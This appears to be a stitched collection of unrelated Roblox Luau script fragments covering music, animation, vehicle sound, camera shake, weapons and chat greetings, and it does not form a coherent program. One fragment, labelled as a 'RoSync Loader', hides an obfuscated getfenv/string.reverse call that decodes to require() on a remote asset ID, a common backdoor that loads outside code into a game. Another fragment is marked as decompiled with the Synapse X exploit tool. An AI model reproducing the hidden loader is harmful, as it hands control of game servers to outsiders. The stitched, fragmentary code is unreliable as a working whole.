local looped = true -- If you set this to true, then the song that is currently playing will restart and play over again.
local pitch = 1
local volume = 1
local songPlayTime = 300 -- Seconds until the song will stop, I recommending leaving this at 120, since all ROBLOX Audios are now 120 seconds long.
local nextSongPlayTime = 3-- Seconds until the next song will be played, if you want you can leave it at 2.(2 is the default) |
--// Although this feature is pretty much ready, it needs some UI design still. |
module.RightClickToLeaveChannelEnabled = false
module.MessageHistoryLengthPerChannel = 50 |
--!native |
local Numpy = {}
local CanvasDraw = require(script.Parent.CanvasDraw)
function Numpy.Flat(val, width, height)
local temp = {}
for y = 0, height-1 do
for x = 0, width-1 do
local baseIndex = y * width * 4 + x * 4
temp[baseIndex + 1] = val -- Red channel
temp[baseIndex + 2] = val -- Green channel
temp[baseIndex + 3] = val -- Blue channel
temp[baseIndex + 4] = val -- Alpha channel
end
end
return temp
end
function Numpy.Custom2(val, dim1, dim2, dim3)
local result = {}
for i = 0, dim1 do
result[i] = {}
for j = 0, dim2 do
result[i][j] = {}
if dim3 == nil then
result[i][j] = val
else
for k = 0, dim3 do
result[i][j][k] = val
end
end
end
end
return result
end
function Numpy.CDrawToNumpy(data)
local Resolution = data.ImageResolution
local FinalTbl = {}
for x=0, Resolution.X-1 do
local temp = {}
for y=0, Resolution.Y-1 do
local PixelColor = CanvasDraw.GetPixelFromImageXY(data, x+1, y+1)
temp[y] = {math.floor(PixelColor.R*255), math.floor(PixelColor.G*255), math.floor(PixelColor.B*255)}
end
FinalTbl[x] = temp
end
return FinalTbl, {Resolution.X, Resolution.Y}
end
function Numpy.ColorImage(Color, Resolution)
local FinalTbl = {}
for x=0, Resolution[1]-1 do
local temp = {}
for y=0, Resolution[2]-1 do
temp[y] = Color
end
FinalTbl[x] = temp
end
return FinalTbl
end
return Numpy
|
-- When Tool Equipped |
tool.Equipped:Connect(function()
track = script.Parent.Parent.Humanoid:LoadAnimation(anim)
track1 = script.Parent.Parent.Humanoid:LoadAnimation(anim1)
track.Priority = Enum.AnimationPriority.Movement
track1.Priority = Enum.AnimationPriority.Movement
track.Looped = true
track:Play()
track1:Play()
end)
|
--------------------------------------------------------------------------------------
--------------------[ VARIABLES ]-----------------------------------------------------
-------------------------------------------------------------------------------------- |
local Selected = false
local playerMass = 0
local Forward = false
local Backward = false
local Idling = false
local Walking = false
local Running = false
local crawlCamRot = 0
local crawlAlpha = 0
local idleAlpha = 1
local walkAlpha = 0
local isCrawling = false
local isIdling = false
local isWalking = false
local isRunning = false
local Aimed = false
local Aiming = false
local aimAlpha = 0
local headOffset = VEC2(COS(RAD(90) - S.aimSettings.headTilt) * 0.5, 1 + SIN(RAD(90) - S.aimSettings.headTilt) * 0.5)
local Reloading = false
local breakReload = false
local magVisible = true
local newMag = false
local Knifing = false
local MB1Down = false
local Firing = false
local canFire = true
local fireFunction = nil
local firstShot = false
local shotCount = 0
local lastSideRecoil = {0, 0}
local recoilAnim = {
Pos = V3();
Rot = V3();
Code = nil;
}
local numModes = 0
local rawFireMode = 1
local canSelectFire = true
local guiAngOffset = 0
local Modes = {}
local onGround = true
local startFallHeight = 0
local jumpAnim = {
Pos = 0;
Rot = 0;
Code = 0;
}
local runReady = true
local runKeyPressed = false
local chargingStamina = false
local AimingIn = false
local AimingOut = false
local Stamina = S.sprintTime * 60
local currentSteadyTime = S.scopeSettings.steadyTime * 60
local camSteady = false
local takingBreath = false
local steadyKeyPressed = false
local Grip = nil
local aimedGripCF = nil
local spreadZoom = "unAimed"
local spreadStance = "Stand"
local spreadMotion = "Idling"
local baseSpread = S.spreadSettings.unAimed.Stand.Idling
local currentSpread = 0
local loweringSpread = false
local mouseSensitivity = S.sensitivitySettings.Default
local aimSensitivity = S.sensitivitySettings.Aim
local lastSensUpdate = 0
local ammoInClip = 0
local Stance = 0
local stanceSway = 1
local camSway = 1
local camAng = VEC2()
local armTilt = 0
local moveAng = 0
local animCode = 0
local desiredXOffset = 0
local desiredYOffset = 0
local currentXOffset = 0
local currentYOffset = 0
local aimHeadOffset = 0
local recoilAnimMultiplier = 1
local jumpAnimMultiplier = 1
local translationDivisor = 7
local rotationMultiplier = S.momentumSettings.Amplitude.unAimed
local armTiltMultiplier = 1
local equipAnimPlaying = false
local crossOffset = 0
local camOffsets = {
guiScope = {
Rot = V3();
};
Reload = {
Rot = V3();
Code = nil;
};
Recoil = {
Rot = V3();
Code = nil;
};
}
local Anim = {
Pos = V3();
Rot = V3();
Ang = 0;
Code = 0;
}
local lastBeat = 0
local gunParts = {}
local Connections = {}
local Keys = {}
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
wait(2.5)
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0
script:WaitForChild("Rev")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
else
throt = math.min(1,throt+.1)
end
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume)
else
car.DriveSeat.Rev.Pitch = Pitch
end
end
|
--//State of Rockport\\--
--\\CREDITS:brian5001//-- | |
-------------------------------------------- |
game:GetService("RunService").Heartbeat:Connect(function()
rWait(UpdateDelay)
local TrsoLV = Trso.CFrame.lookVector
local HdPos = Head.CFrame.p
local player = getClosestPlayer()
local LookAtPart
if Neck or Waist then
if player then
local success, err = pcall(function()
LookAtPart = GetValidPartToLookAt(player, PartToLookAt)
if LookAtPart then
local Dist = nil;
local Diff = nil;
local is_in_front = Core.CFrame:ToObjectSpace(LookAtPart.CFrame).Z < 0
if is_in_front then
if LookingAtValue.Value ~= player then
LookingAtValue.Value = player
end
Dist = (Head.CFrame.p-LookAtPart.CFrame.p).magnitude
Diff = Head.CFrame.Y-LookAtPart.CFrame.Y
if not IsR6 then
LookAt(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-LookAtPart.CFrame.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0),
WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-LookAtPart.CFrame.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0))
else
LookAt(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-LookAtPart.CFrame.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor))
end
elseif LookBackOnNil then
LookAt(NeckOrgnC0, WaistOrgnC0)
if LookingAtValue.Value then
LookingAtValue.Value = nil
end
end
end
end)
elseif LookBackOnNil then
LookAt(NeckOrgnC0, WaistOrgnC0)
if LookingAtValue.Value then
LookingAtValue.Value = nil
end
end
end
end)
|
-- Signal class |
local Signal = {}
Signal.__index = Signal
function Signal.new()
return setmetatable({
_handlerListHead = false,
}, Signal)
end
function Signal:Connect(fn)
local connection = Connection.new(self, fn)
if self._handlerListHead then
connection._next = self._handlerListHead
self._handlerListHead = connection
else
self._handlerListHead = connection
end
return connection
end
|
-- functions |
function onRunning(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
|
------------------------- |
while true do
R.BrickColor = BrickColor.new("Really red")
wait(0.3)
R.BrickColor = BrickColor.new("Really black")
wait(0.3)
end
|
------------------------------------------------------------------------ |
do
local enabled = false
local function ToggleFreecam()
if enabled then
StopFreecam()
else
StartFreecam()
end
enabled = not enabled
end
local function CheckMacro(macro)
for i = 1, #macro - 1 do
if not UserInputService:IsKeyDown(macro[i]) then
return false
end
end
ToggleFreecam()
return true
end
local function HandleActivationInput(action, state, input)
if state == Enum.UserInputState.Begin then
if input.KeyCode == FREECAM_MACRO_KB[#FREECAM_MACRO_KB] then
CheckMacro(FREECAM_MACRO_KB)
--[[if CheckMacro(FREECAM_MACRO_KB) then
return Enum.ContextActionResult.Sink
end]]
end
end
return Enum.ContextActionResult.Pass
end
ContextActionService:BindActionAtPriority("FreecamToggle2", HandleActivationInput, false, TOGGLE_INPUT_PRIORITY, FREECAM_MACRO_KB[#FREECAM_MACRO_KB])
end
|
--[[OMG YAY! First ever reply system, I'll be doing ALLOT of work on this.. It'll end up to be let's say..
1000+ lines of mixtures of letters forsay? I wanna make this good!]] |
hichats = {"Hi","Hello","oh hi","Hi!","Oh hey","Hey","What do you want","What's up"}
local head = script.Parent.Head
function onPlayerEntered(newPlayer)
game.Players.PlayerAdded:connect(onPlayerEntered)
function onChatted(msg, recipient, speaker)
local source = string.lower(speaker.Name)
if (msg == "hi") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hello") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hi!") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hi.") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hello!") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hello.") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hey") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hey!") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
local source = string.lower(speaker.Name)
if (msg == "hey.") then
game:GetService("Chat"):Chat(head,""..hichats[math.random(1, #hichats)]..", "..speaker.Name,Enum.ChatColor.White)
end
end
end
game.Players.PlayerAdded:connect(function(newP)
onPlayerEntered(newP) newP.Chatted:connect(function(msg) onChatted(msg, nil, newP) end) end)
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
local v7 = l__ReplicatedStorage__1.KillFX[p1].FX:Clone();
v7.Parent = workspace.Ignored.Animations;
v7.PrimaryPart.CFrame = CFrame.new(p2.Position);
local v8 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone();
v8.Parent = p2;
v8:Play();
game.Debris:AddItem(v8, 6);
game.Debris:AddItem(v7, 6);
if p3 and p3:FindFirstChild("Information") then
for v9, v10 in pairs(v8:GetDescendants()) do
if v10:IsA("BasePart") or v10:IsA("MeshPart") then
v10.Color = p3:FindFirstChild("Information").RayColor.Value;
end;
end;
end;
for v11, v12 in pairs(p2.Parent:GetDescendants()) do
if not (not v12:IsA("BasePart")) or not (not v12:IsA("MeshPart")) or v12:IsA("Decal") then
game:GetService("TweenService"):Create(v12, TweenInfo.new(4), {
Color = Color3.fromRGB(255, 255, 255),
Transparency = 1
}):Play();
end;
end;
for v13, v14 in pairs(v7:GetChildren()) do
local v15 = 1200;
if math.random(1, 2) == 2 then
v15 = -1200;
end;
game:GetService("TweenService"):Create(v14, TweenInfo.new(3), {
Transparency = 1,
Position = p2.Position + Vector3.new(0, 2, 0),
Size = v14.Size + Vector3.new(200, 200, 200),
Orientation = v14.Orientation + Vector3.new(0, 0, v15)
}):Play();
end;
return nil;
end;
return v1;
|
--[[ Local Functions ]] | --
function MouseLockController:OnMouseLockToggled()
self.isMouseLocked = not self.isMouseLocked
if self.isMouseLocked then
local cursorImageValueObj: StringValue? = script:FindFirstChild("CursorImage") :: StringValue?
if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then
CameraUtils.setMouseIconOverride(cursorImageValueObj.Value)
else
if cursorImageValueObj then
cursorImageValueObj:Destroy()
end
cursorImageValueObj = Instance.new("StringValue")
assert(cursorImageValueObj, "")
cursorImageValueObj.Name = "CursorImage"
cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR
cursorImageValueObj.Parent = script
CameraUtils.setMouseIconOverride(DEFAULT_MOUSE_LOCK_CURSOR)
end
else
CameraUtils.restoreMouseIcon()
end
self.mouseLockToggledEvent:Fire()
end
function MouseLockController:DoMouseLockSwitch(name, state, input)
if state == Enum.UserInputState.Begin then
self:OnMouseLockToggled()
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function MouseLockController:BindContextActions()
ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)
return self:DoMouseLockSwitch(name, state, input)
end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))
end
function MouseLockController:UnbindContextActions()
ContextActionService:UnbindAction(CONTEXT_ACTION_NAME)
end
function MouseLockController:IsMouseLocked(): boolean
return self.enabled and self.isMouseLocked
end
function MouseLockController:EnableMouseLock(enable: boolean)
if enable ~= self.enabled then
self.enabled = enable
if self.enabled then
-- Enabling the mode
self:BindContextActions()
else
-- Disabling
-- Restore mouse cursor
CameraUtils.restoreMouseIcon()
self:UnbindContextActions()
-- If the mode is disabled while being used, fire the event to toggle it off
if self.isMouseLocked then
self.mouseLockToggledEvent:Fire()
end
self.isMouseLocked = false
end
end
end
game.Players.LocalPlayer.CharacterAdded:Wait()
return MouseLockController
|
-- Sets the parent of all cached parts. |
function PartCacheStatic:SetCacheParent(newParent: Instance)
assert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format("SetCacheParent", "PartCache.new"))
assert(newParent:IsDescendantOf(workspace) or newParent == workspace, "Cache parent is not a descendant of Workspace! Parts should be kept where they will remain in the visible world.")
self.CurrentCacheParent = newParent
for i = 1, #self.Open do
self.Open[i].Parent = newParent
end
for i = 1, #self.InUse do
self.InUse[i].Parent = newParent
end
end
|
-- Adds user timing marks for e.g. state updates, suspense, and work loop stuff,
-- for an experimental scheduling profiler tool. |
exports.enableSchedulingProfiler = _G.__PROFILE__ and _G.__EXPERIMENTAL__
|
-- if math.abs(g) > 0 then
--
-- end |
end
F.pbrake = function(x)
if x then carSeat.PBt:Play()
else carSeat.PBf:Play()
end
end
F.updateValue = function(Val, Value)
if Val then
Val.Value = Value
end
end
F.FMSwitch = function(FM)
if carSeat.Stations.mood.Value == 5 then
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = 2
scg.Radio.Song.Text = "PRESET 2"
elseif carSeat.Stations.mood.Value == 2 then
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = 3
scg.Radio.Song.Text = "PRESET 3"
elseif carSeat.Stations.mood.Value == 3 then
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = 4
scg.Radio.Song.Text = "PRESET 4"
elseif carSeat.Stations.mood.Value == 4 then
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = 1
scg.Radio.Song.Text = "PRESET 1"
elseif carSeat.Stations.mood.Value == 1 then
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = 5
scg.Radio.Song.Text = ""
end
end
F.volumech = function(v)
carSeat.Parent.Body.MP.Sound.Volume = v
scg.Radio.Volume.Text = carSeat.Parent.Body.MP.Sound.Volume
end
F.updateSong = function(Song)
carSeat.Stations.mood.Value = 5
carSeat.Parent.Body.MP.Sound:Stop()
wait()
carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..Song
wait()
carSeat.Parent.Body.MP.Sound:Play()
scg.Radio.Song.Text = "CUSTOM"
end
F.pauseSong = function()
carSeat.Stations.mood.Value = 5
carSeat.Parent.Body.MP.Sound:Stop()
scg.Radio.Song.Text = "OFF"
end
F.pitc = function(v)
carSeat.Parent.Body.MP.Sound.Pitch = v
end
script.Parent.OnServerEvent:connect(function(Player, Func, ...)
if F[Func] then
F[Func](...)
end
end)
|
--[[ Last synced 10/19/2020 07:16 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS |
function onRunning(speed)
local movedDuringEmote = currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75
if speed > speedThreshold then
local scale = 16.0
playAnimation("walk", 0.2, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Running"
else
if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
playAnimation("idle", 0.2, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
|
-- Represents a CastStateInfo :: https://etithespirit.github.io/FastCastAPIDocs/fastcast-objects/caststateinfo/ |
export type CastStateInfo = {
UpdateConnection: RBXScriptSignal,
HighFidelityBehavior: number,
HighFidelitySegmentSize: number,
Paused: boolean,
Delta: number,
TotalRuntime: number,
TotalRuntime2: number,
DistanceCovered: number,
IsActivelySimulatingPenetrate: boolean,
IsActivelyResimulating: boolean,
CancelHighResCast: boolean,
Trajectories: {[number]: CastTrajectory},
TweenTable: GenericTable
}
|
--[[
CameraShaker.CameraShakeInstance
cameraShaker = CameraShaker.new(renderPriority, callbackFunction)
CameraShaker:Start()
CameraShaker:Stop()
CameraShaker:Shake(shakeInstance)
CameraShaker:ShakeSustain(shakeInstance)
CameraShaker:ShakeOnce(magnitude, roughness [, fadeInTime, fadeOutTime, posInfluence, rotInfluence])
CameraShaker:StartShake(magnitude, roughness [, fadeInTime, posInfluence, rotInfluence])
EXAMPLE:
local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCFrame)
camera.CFrame = playerCFrame * shakeCFrame
end)
camShake:Start()
-- Explosion shake:
camShake:Shake(CameraShaker.Presets.Explosion)
wait(1)
-- Custom shake:
camShake:ShakeOnce(3, 1, 0.2, 1.5)
NOTE:
This was based entirely on the EZ Camera Shake asset for Unity3D. I was given written
permission by the developer, Road Turtle Games, to port this to Roblox.
Original asset link: https://assetstore.unity.com/packages/tools/camera/ez-camera-shake-33148
--]] |
local CameraShaker = {}
CameraShaker.__index = CameraShaker
local profileBegin = debug.profilebegin
local profileEnd = debug.profileend
local profileTag = "CameraShakerUpdate"
local V3 = Vector3.new
local CF = CFrame.new
local ANG = CFrame.Angles
local RAD = math.rad
local v3Zero = V3()
local CameraShakeInstance = require(script.CameraShakeInstance)
local CameraShakeState = CameraShakeInstance.CameraShakeState
local defaultPosInfluence = V3(0.15, 0.15, 0.15)
local defaultRotInfluence = V3(1, 1, 1)
CameraShaker.CameraShakeInstance = CameraShakeInstance
CameraShaker.Presets = require(script.CameraShakePresets)
function CameraShaker.new(renderPriority, callback)
assert(type(renderPriority) == "number", "RenderPriority must be a number (e.g.: Enum.RenderPriority.Camera.Value)")
assert(type(callback) == "function", "Callback must be a function")
local self = setmetatable({
_running = false;
_renderName = "CameraShaker";
_renderPriority = renderPriority;
_posAddShake = v3Zero;
_rotAddShake = v3Zero;
_camShakeInstances = {};
_removeInstances = {};
_callback = callback;
}, CameraShaker)
return self
end
function CameraShaker:Start()
if (self._running) then return end
self._running = true
local callback = self._callback
game:GetService("RunService"):BindToRenderStep(self._renderName, self._renderPriority, function(dt)
profileBegin(profileTag)
local cf = self:Update(dt)
profileEnd()
callback(cf)
end)
end
function CameraShaker:Stop()
if (not self._running) then return end
game:GetService("RunService"):UnbindFromRenderStep(self._renderName)
self._running = false
end
function CameraShaker:Update(dt)
local posAddShake = v3Zero
local rotAddShake = v3Zero
local instances = self._camShakeInstances
-- Update all instances:
for i = 1,#instances do
local c = instances[i]
local state = c:GetState()
if (state == CameraShakeState.Inactive and c.DeleteOnInactive) then
self._removeInstances[#self._removeInstances + 1] = i
elseif (state ~= CameraShakeState.Inactive) then
posAddShake = posAddShake + (c:UpdateShake(dt) * c.PositionInfluence)
rotAddShake = rotAddShake + (c:UpdateShake(dt) * c.RotationInfluence)
end
end
-- Remove dead instances:
for i = #self._removeInstances,1,-1 do
local instIndex = self._removeInstances[i]
table.remove(instances, instIndex)
self._removeInstances[i] = nil
end
return CF(posAddShake) *
ANG(0, RAD(rotAddShake.Y), 0) *
ANG(RAD(rotAddShake.X), 0, RAD(rotAddShake.Z))
end
function CameraShaker:Shake(shakeInstance)
assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
function CameraShaker:ShakeSustain(shakeInstance)
assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
shakeInstance:StartFadeIn(shakeInstance.fadeInDuration)
return shakeInstance
end
function CameraShaker:ShakeOnce(magnitude, roughness, fadeInTime, fadeOutTime, posInfluence, rotInfluence)
local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime)
shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
function CameraShaker:StartShake(magnitude, roughness, fadeInTime, posInfluence, rotInfluence)
local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime)
shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
shakeInstance:StartFadeIn(fadeInTime)
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
return CameraShaker
|
--[=[
@interface Middleware
.Inbound ClientMiddleware?
.Outbound ClientMiddleware?
@within KnitClient
]=] |
type Middleware = {
Inbound: ClientMiddleware?,
Outbound: ClientMiddleware?,
}
|
-- Left Arm |
character:FindFirstChild("RightUpperLeg").LocalTransparencyModifier = 0
character:FindFirstChild("RightLowerLeg").LocalTransparencyModifier = 0
character:FindFirstChild("RightFoot").LocalTransparencyModifier = 0 |
--returns the wielding player of this tool |
function getPlayer()
local char = Tool.Parent
return game:GetService("Players"):GetPlayerFromCharacter(Character)
end
function Toss(direction)
local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
local spawnPos = Character.Head.Position
spawnPos = spawnPos + (direction * 5)
Tool.Handle.Transparency = 1
local Object = Tool.Handle:Clone()
Object.Parent = workspace
Object.Transparency = 1
Object.Swing.Pitch = math.random(90, 110)/100
Object.Swing:Play()
Object.CanCollide = true
Object.CFrame = Tool.Handle.CFrame
Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
Object.Trail.Enabled = true
Object.Fuse:Play()
Object.Sparks.Enabled = true
local rand = 11.25
Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand))
Object:SetNetworkOwner(getPlayer())
local ScriptClone = DamageScript:Clone()
ScriptClone.Parent = Object
ScriptClone.Disabled = false
local tag = Instance.new("ObjectValue")
tag.Value = getPlayer()
tag.Name = "killer"
tag.Parent = Object
Tool:Destroy()
end
script.Parent.Power.OnServerEvent:Connect(function(player, Power)
AttackVelocity = Power
end)
Remote.OnServerEvent:Connect(function(player, mousePosition)
if not AttackAble then return end
AttackAble = false
if Humanoid then
Remote:FireClient(getPlayer(), "PlayAnimation", "Animation")
end
local targetPos = mousePosition.p
local lookAt = (targetPos - Character.Head.Position).unit
Toss(lookAt)
LeftDown = true
end)
function onLeftUp()
LeftDown = false
end
Tool.Equipped:Connect(function()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
Tool.Unequipped:Connect(function()
Character = nil
Humanoid = nil
end)
|
-- CONSTANTS |
local FORMAT_STR = "Maid does not support type \"%s\""
local DESTRUCTORS = {
["function"] = function(item)
item()
end;
["RBXScriptConnection"] = function(item)
item:Disconnect()
end;
["Instance"] = function(item)
item:Destroy()
end;
}
|
-- Style Options |
Flat=true; -- Enables Flat theme / Disables Aero theme
ForcedColor=false; -- Forces everyone to have set color & transparency
Color=Color3.new(0,0,0); -- Changes the Color of the user interface
ColorTransparency=.75; -- Changes the Transparency of the user interface
Chat=false; -- Enables the custom chat
BubbleChat=false; -- Enables the custom bubble chat
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS |
function onRunning(speed)
if speed > 0.5 then
local scale = 16.0
playAnimation("walk", 0.2, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Running"
else
if emoteNames[currentAnim] == nil then
playAnimation("idle", 0.2, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
|
--[[
Init function that creates all the rooms
]] |
function RoomManager.init()
local roomModels = CollectionService:GetTagged(Constants.Tag.Room)
for _, model in pairs(roomModels) do
local room = rooms:add(model)
room.stateChanged:Connect(RoomManager._updateStatusValues)
end
RoomManager._flashAlerts()
RoomManager._updateStatusValues()
workspace:GetPropertyChangedSignal("Gravity"):Connect(
function()
if workspace.Gravity == 0 then
for _, room in pairs(rooms:getAll()) do
room:applyMicroVelocityToParts()
end
end
end
)
end
|
--create tables: |
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "c" then
table.insert(c, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "d" then
table.insert(d, 1, part)
end
end
function lightOn(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = true
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = true
part.Material = "Neon"
end
end
end
function lightOff(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = false
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = false
part.Material = "SmoothPlastic"
end
end
end
while true do
lightOn(c)
wait(0.05)
lightOff(c)
wait(0.05)
lightOn(d)
wait(0.05)
lightOff(d)
wait(0.05)
end
|
-- Create sound instance |
local currentSound = Instance.new("Sound", character.HumanoidRootPart)
currentSound.Name = "CurrentSound"
currentSound.RollOffMode = Enum.RollOffMode.InverseTapered -- you can experiment with this value
currentSound.RollOffMinDistance = 10 -- When should the sound start fading out? (in studs)
currentSound.RollOffMaxDistance = 75 -- When should the sound stop being heard? (in studs)
|
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
